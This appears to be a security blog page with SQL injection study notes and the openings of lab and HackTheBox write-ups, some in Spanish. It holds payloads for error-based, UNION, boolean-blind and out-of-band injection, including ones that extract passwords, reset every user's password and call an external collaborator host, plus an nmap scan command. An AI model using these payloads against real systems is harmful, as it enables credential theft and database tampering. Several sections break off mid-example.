SQL Injection

Tue, 25 Jan 2022 12:00:00 -0400

A SQL injection is an attack in which the attacker executes arbitrary SQL commands on an application’s database by supplying malicious input inserted into a SQL statement. This happens when the input used in SQL queries is incorrectly filtered or escaped and can lead to authentication bypass, sensitive data leaks, tampering of the database and RCE in some cases.

In-Band (classic) SQL Injection

Occurs when the attacker uses the same communication channel to both launch the attack and gather the result of the attack
- Retrieved data is presented directly in the web page
Easier to exploit than other categories of SQLi

Error-Based SQLi

Error bases SQLi is an in-band SQLi technique that forces the database to generate an error, giving the attacker information upon which to refine their injection

www.random.com/app.php?id='
#output
#You have an error in your SQL syntax, check the manual that corresponds to your MySQL server version...

Union-Based SQLi

Is an in-band SQLi technique that leverages the UNION SQL operator to combine the results of two queries into a single result set
Input:

# retrieving data from another table
http://www.random.com/app.php?id=’ UNION SELECT username, password FROM users; --

# update all passwords from a table with POST method
http://www.random.com/app.php?new_password="password12345';--"
query = UPDATE Users SET Password='password12345';-- WHERE Id = 2;

--- The WHERE clause, which specifies the criteria of the rows that should be updated, is commented out in this query. The database would update all rows in the table, and change all of the passwords in the Users table to password12345. The attacker can now log in as anyone by using that password

SQLi vuln where there is no actual transfer of data via the webapp
Just as dangerous as in-band SQLi
- Attacker be able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server
Takes longer to exploit than in-ban sql injection

Boolean-based SQLi

Uses boolean conditions to return a different result depending on whether the query returns a TRUE or FALSE result.

www.random.com/app.php?id=1
select title from product where id=1
#Payload 1 (false)
www.random.com/app.php?id=1 and 1=2
select title from product where id=1 and 1=2
#Payload 2 (true)
www.random.com/app.php?id=1 and 1=1
select title from product where id=1 and 1=1

User table:
Administrator / e3c3889ded99ej29dj9edjdje992
SUBSTRING(a,b,c): function that select a part of a string a: the string, b:the first posicion, c=how many chars
#Payload1
www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username ='Administrator'), 1, 1)='s'
#Query
select title from product where id=1 and SUBSTRING((SELECT Password FROM Users Where Username='Administrator'),1,1)='s'
#result: nothing is returned because is false

#Payload 2
www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users Where Username='Administrator'),1,1)='e'
#Query
select title from product where id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1)='e'
#result: Returned true, the tile of product id 1 is returned bc "e" is the first character of the hashed pass

Relies in the database pausing for a specified amount of time, then returning the result, indicating a success SQL query execution
Ex: if the first character of the administrator’s hashed pass is an “a”, wait 10 seconds.

Out-of-band (OAST) SQLi

Consists of triggering an out-of-band network connection to a system that you control
- Not common, uses variety os protocols (DNS,HTTP)

'; exec master..xp_dirtree '//434934839493499.burpcollabolator.net/a'--

Second order SQLi

Second order SQLi happens when applications user input gets stored in the database, then retrieved and used unsafely in a SQL query. For example consider an app that register an user by specifying username and password, and the user submit the following request:

SQL Injection - Labs

Tue, 25 Jan 2022 12:00:00 -0400

Lab 1 - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

We need to retrieve hidden data so we search query’s in the web where we can inject some sql injection payloads

We can see that the request is filtering the data by category, and we are asked to show the hidden elements, so we assume that there is a parameter that hides the elements.

We try the following payload that will show the elements of all categories and we will comment out the rest of the query so that it does not filter by hidden or visible elements:

HackTheBox Jarvis

Mon, 15 Nov 2021 12:00:00 -0400

Machine IP: 10.10.10.143

Reconocimiento

Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes

Nmap

Como vemos tiene el puerto 80 abierto, que es el http, veremos en el navegador de que se trata y analizaremos la web.

Wappalyzer

Usando la extensión wappalizer para identificar las tecnologías usadas en la web, encontramos que la web está usando phpmyadmin version 4.8

Al hacer un poco de research encontramos la siguiente vulnerabilidad phpMyAdmin 4.8.1 - Remote Code Execution (RCE) , que se aprovecha del ejecutar comandos a traves de parametros sql.

HackTheBox Writeup

Sun, 25 Jul 2021 12:00:00 -0400

Machine IP : 10.10.10.138

DATE : 25/07/2021

Matriz de la maquina

Esta matriz nos muestra las características de explotación de la maquina.

Reconocimiento

Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.

Nmap

Usamos el siguiente comando para escanear todos los puertos de una manera rapida.

nmap -p- --open -T5 -v -n -Pn 10.10.10.138

Posteriormente utilizamos este comando con los puertos del anterior escaneo para saber las versiones de cada servicio.

Sqli on s4yhii's blog

SQL Injection

In-Band (classic) SQL Injection

Error-Based SQLi

Union-Based SQLi

Inferential (Blind) SQL Injection

Boolean-based SQLi

Time-based Blind SQLi

Out-of-band (OAST) SQLi

Second order SQLi

SQL Injection - Labs

Lab 1 - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

HackTheBox Jarvis

Reconocimiento

Nmap

Wappalyzer

HackTheBox Writeup

Matriz de la maquina

Reconocimiento

Nmap